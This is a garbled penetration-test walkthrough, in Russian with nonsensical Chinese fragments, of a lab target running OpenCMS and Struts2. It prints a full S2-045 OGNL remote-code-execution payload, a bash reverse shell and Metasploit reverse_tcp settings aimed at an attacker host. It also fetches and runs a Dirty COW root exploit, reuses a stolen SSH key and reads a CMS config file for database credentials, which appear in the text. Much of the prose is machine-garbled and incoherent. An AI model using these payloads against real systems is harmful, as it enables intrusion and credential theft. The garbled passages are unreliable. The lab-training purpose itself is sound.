Целью этого теста на проникновение является входная машина с IP-адресом 172.16.250.10. Сканирование Nmap выявило, что 80 портов и 8009 портов (протокол AJP) открыты. На веб-этапе страница входа OpenCMS 10.5.3 была идентифицирована на 80 портах, но не было обнаружено SQL-инъекций или слабых голосовых уязвимостей. S2-045 (CVE-2017-5638) уязвимость удаленного выполнения кода, позволяющая успешно получить Shell за счет конструкции вредоносного контента-типа. H私金,на этапе дальнейшего расширения,через more 囲(私郙改的bash_history中电影SSH私野600) успешно вошел в систему на машине с другим IP-адресом 172.16.250.30, называемым «jenkins». Кроме того, статья также раскрывает анализ файла конфигурации OpenCMS, получает информацию о подключении к базе данных, а также новый целевой IP-адрес (.50) и метод аутентификации, что закладывает основу для последующего проникновения на несколько хостов.
Примечание: Поскольку это первый удар по машине, каждый шаг будет иметь подробную запись, поэтому за один шаг будет большая подробная запись.
环境搭建写路了事将就就内容车车。
nmap在不加anyparameters下может использоваться для сценария быстрого базового обслуживания, если это ежедневное проникновение или проверка, тогда он должен содержать соответствующие параметры, чтобы ускорить скорость обнаружения:
nmap 172.16.250.0/24

Здесь вы можете увидеть. 10 открытыхhttpсервис, то вот он как входной автомат, можно провести более детальное определение IP:

Вот есть 8009, который еще ни разу не трогали, посмотрите данные в одном месте:
Порт протокола Apache JServ (AJP):
AJP (протокол Apache JServ) — это двоичный протокол связи между HTTP-сервером Apache и Tomcat (или другими контейнерами приложений Java), обладающий более высокой эффективностью, чем HTTP.
Типичная архитектура выглядит следующим образом:
Клиент → Apache (80/443) → AJP (8009) → Tomcat (8080)
Обычный веб-порт, версия 80, версия плагина

Ниже показан переход к функции входа в систему.OpenCMS 10.5.3,затем на странице сразу был указан код учетной записи по умолчаниюadminпопробуйте войти в систему 未果,弱口令没有,попробуйте SQL-инъекцию也最не найти возможную точку внедрения,но то, что вы видите в URL-адресе, выглядит следующим образомhttp://172.16.250.10/kittens/login/index.html?requestedResource=&name=admin&password=admin123&action=login
Так что попробуйregister,抓个data包视频:

Нет ответа, и предыдущий маршрут тоже тот же/login,Повторите сканирование еще раз:
dirsearch -u http://172.16.250.10/kittens/ -r -R 3 --recursion-status 200-399
Вот моя новая версия dirsearch, если она неправильная, то обновите ее один раз
Проблема, возникающая в процессе сканирования, заключается в том, что некоторые из полученных путей равны 200, но фактическое время доступа равно 500, возможная причина в том, что dirsearch маршрутизируется.
Этот веб-сайт может быть настроен с использованием псевдостатической или MVC-инфраструктуры, иметь доступ к любому пути, который кажется разумным, и возвращать «дружественную» страницу ошибки или маршрут, но сама эта страница 200 OK, но dirsearch не различает, реальный ли это файл или маршрут.
时间时了无影所一遆也也最术,是以上的设计下载的产品大孆孆在不多
再 sqlmap 再 попробуйте еще раз
sqlmap -u "http://172.16.250.10/kittens/login/index.html?requestedResource=&name=admin&password=admin&action=login" --level=5 --risk=3 --threads=10 --batch --dump-all
Использование Opencms в большинстве случаев CSRF,XSS和XXE,氈氈氈氈会来来上的,找了一个Structs2老利,而刚好这台安全机имя也是是Struct2то это можно объяснить тем, что при сканировании каталога, когда мы не обращаем внимания на корневой каталог, он сломан, и тогда мы обнаруживаем следующие три:
http://172.16.250.10/struts2-showcase/showcase.action
http://172.16.250.10/struts2-showcase/modelDriven/modelDriven.action
http://172.16.250.10/struts2-showcase/fileupload/upload.action
φ(゜▽゜*)♪
Я посмотрел URL и первое, о чем я подумал, это тот, который загрузил файл, сначала я попытался загрузить файл, но файл был сохранен, но файл был загружен.

Не знаю как это сделать, в сети много лазеекconfig browserможно найти2.3.12:

Его можно использовать здесьStruts2 S2-045 远程代码执行漏洞
Основная причина уязвимости заключается в том, что при обработке типа данных multipart/form в заголовке запроса HTTP Content-Type Struts 2 использует небезопасный метод для анализа загруженных данных файла. Когда запрос содержит злонамеренно структурированное поле заголовка, злоумышленник может внедрить выражения OGNL (язык навигации по графам объектов), эти выражения будут интерпретированы и выполнены на стороне сервера, а структура полезной нагрузки будет следующей:
Content-Type: "%{(#nike="multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
Если вам интересно, вы можете прочитать следующее объяснение:
#nike="multipart/form-data"
// ↑ 声明这是一个 multipart 请求,骗 Struts2 进入文件上传解析流程
#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
// ↑ 获取 OGNL 的默认无限制访问权限对象
#_memberAccess ? (#_memberAccess=#dm) : (
// ↑ 三元判断:_memberAccess 已存在就直接赋值,否则执行后面括号里的绕过流程
#container=#context['com.opensymphony.xwork2.ActionContext.container']
// ↑ 从上下文拿 Struts2 的依赖注入容器
#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)
// ↑ 从容器里取出 OgnlUtil 单例(管理 OGNL 黑名单的工具类)
#ognlUtil.getExcludedPackageNames().clear()
// ↑ 清空禁止访问的包名黑名单(如 java.lang.ProcessBuilder)
#ognlUtil.getExcludedClasses().clear()
// ↑ 清空禁止访问的类名黑名单
#context.setMemberAccess(#dm)
// ↑ 把当前上下文设为无限制访问权限
)
// ↑ 沙箱绕过完成,现在可以调用任意危险类
#cmd='id'
// ↑ 要执行的系统命令,改这里就行
#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))
// ↑ 判断是不是 Windows 系统
#cmds=(#iswin ? {'cmd.exe','/c',#cmd} : {'/bin/bash','-c',#cmd})
// ↑ 根据系统拼出不同的命令数组
#p=new java.lang.ProcessBuilder(#cmds)
// ↑ 创建进程构建器
#p.redirectErrorStream(true)
// ↑ 把 stderr 合并到 stdout,防止错误信息丢失
#process=#p.start()
// ↑ 启动进程,执行命令
#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())
// ↑ 拿到 HTTP 响应的输出流
@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)
// ↑ 把命令执行结果拷贝到 HTTP 响应里
#ros.flush()
// ↑ 刷新输出流,确保结果返回给客户端
Здесь мы загружаем обычный файл, затем заполняем необходимую подпись и ловим пакет, затем модифицируем егоcontent-type就行

Затем измените команду — это та часть, которая вышла из коробки на картинке, здесь вы можете напрямую ответить:
bash -i >& /dev/tcp/172.16.250.128/4444 0>&1
Если вы хотите чего-то простого, вы можете напрямую выбрать MSF.CVE-2017-5638,再电个设计【целевая машина для Linux】здесь нет конкретной демонстрации
set payload linux/x86/meterpreter/reverse_tcp
set RHOSTS 172.16.250.10
set RPORT 80
run
Здесь лицо по-прежнему Python3, поэтому добавьте немного цифр:
python3 -c 'import pty;pty.spawn("/bin/bash")'

sudoНужен код, то SUID не работает, и тогда снова видно ядро4.4.0На сайте找找的脏牛提权,вот 64位的用作的40616конкретный адрес戳这里 Потому что здесь не фокус, а 师傅 машины脏牛提权Вероятность того, что вы уже дважды с ним связывались, поэтому подробно об этом он рассказывать не будет:
wget http://172.16.250.128:8000/40616.c
gcc 40616.c -o cowroot -pthread
./cowroot

Успешно получилось, но есть проблема в том, что рут через некоторое время работает не стабильно.Максимизируйте стабильность системы, предотвратите сбои ядра, которые приводят к мгновенному доступу к вашему ядру.
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn
После получения rootrootКаталог 看一眼,在bash_history中国际了ssh войти в журнал трассировок другой машины:ssh -i .ssh/id_rsa root@172.16.250.30
И вы можете найти файл закрытого ключа ssh, но я не знаю, почему мой root все еще нестабильен:

Защитная оболочка MSF?
电影电影MSF 下载家, 难怪好多walkthrough都电影电影上面ххх
把私金室图像图像到localпосле попытки входа в систему:

Эта ошибка связана с тем, что 私金定体安全太安全了。SSH в целях безопасности,запрашивает закрытый ключ может быть прочитан только владельцем,не может быть доступен другим пользователям(或结),поэтому привилегии могут быть изменены
chmod 600 id_rsa
Повторный запуск успешно войдите в системуjenkins

На самом деле тут проблема в том, что я нахожусь прямо у подъездной машины./rootВ каталоге есть полезные вещи, другого способа их перевернуть нет, но наверняка информация известна больше других, поэтому лучше посмотреть что-нибудь другое.walkthrough这些是 прямо дал команду:
cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties
一个分分一个:
/opt/tomcat/ → Описание: Tomcat, установленный в каталоге /opt (устанавливается вручную, а не apt/yum).
webapps/ → Каталог приложений Tomcat по умолчанию
kittens/ → название приложения
WEB-INF/ → Стандартный каталог безопасности веб-приложений Java
opencms.properties → Файл конфигурации платформы OpenCMS
Тогда у меня будет к вам много вопросов.
Откройте веб-страницу и запустите ее, откройте cms и запустите.tomcatконтейнер, он нам нуженopencms的файл конфигурации ядра,而 файл по умолчанию — 名是opencms.properties в файлеИметь конфигурацию подключения к базе данных, код учетной записи и т. д. ключевую информацию.
而OpenCMSПуть к файлу конфигурации по умолчанию фиксирован.WEB-INF/config/папка
| файл/каталог | путь по умолчанию (относительно WEB-INF) | описание |
|---|---|---|
| Конфигурация основной папки | /WEB-INF/config/ |
Сохраните корневой каталог всех основных файлов конфигурации. |
| документ с основными атрибутами | /WEB-INF/config/opencms.properties |
подключение к базе данных、настройка системы и т.д. конфигурация ключей。 |
| Основная конфигурация XML | /WEB-INF/config/opencms.xml |
Введение конфигурации верхнего уровня другого файла конфигурации. |
| статическая конфигурация экспорта | /WEB-INF/config/opencms-importexport.xml |
Статическое управление страницами, а также функции импорта и экспорта. |
Затем OpenCms разрабатывается на основе технологии Java, его необходимо интегрировать Servlet/JSP Здесь может работать стандартный веб-контейнер.Tomcatэто какOpenCMS银建的перевозчикэквивалентныйоперационная система и программное обеспечение Следующая последовательность установки также иллюстрирует это:
-
установка
JDK(Среда разработки Java,Невозможно использовать JRE) -
установка
Tomcat( договоренностьCATALINA_HOMEпеременная среды) -
развертывание
OpenCms:将opencms.warФайл скопирован в Tomcat的.webapps/Каталог -
Томкэт
war包, а затем перейдите по пути /setup Complete.OpenCmsУстановка
Итак, еще разTomcatПуть установки:/opt/tomcat Каталог выглядит следующим образом
| дочерний каталог | Основное содержание и использование |
|---|---|
webapps/ |
手机电视设计。 Использование веб-приложения(如 opencms.war), OpenCms, такие как Java 网站就电视上设计。 |
conf/ |
实方实方实方。 名定 Автономная конфигурация Tomcat, 如 server.xml(电影电视,最新)和 context.xml。 |
logs/ |
Бортжурнал. Журнал Томкэта. |
bin/ |
Запустите каталог сценария. Запустите скрипт (startup.sh)shutdown.sh) Скрипт службы Tomcat。 |
Итак, наконец, как мы пришли на этот путь? ̄▽ ̄)
/opt/tomcat/webapps/[应用名]/WEB-INF/config/

从图中设计看出电影了又一.50 ip, открыть порт на 3306, учетную записьstoreкодWTWOIUEfjSLeij 【英语下载的剧情】
Тогда следующий контент представляет собой реальную ценность этой мультимашины, так что это хорошая идея.★, °:.☆( ̄▽ ̄)/$:.°★ 。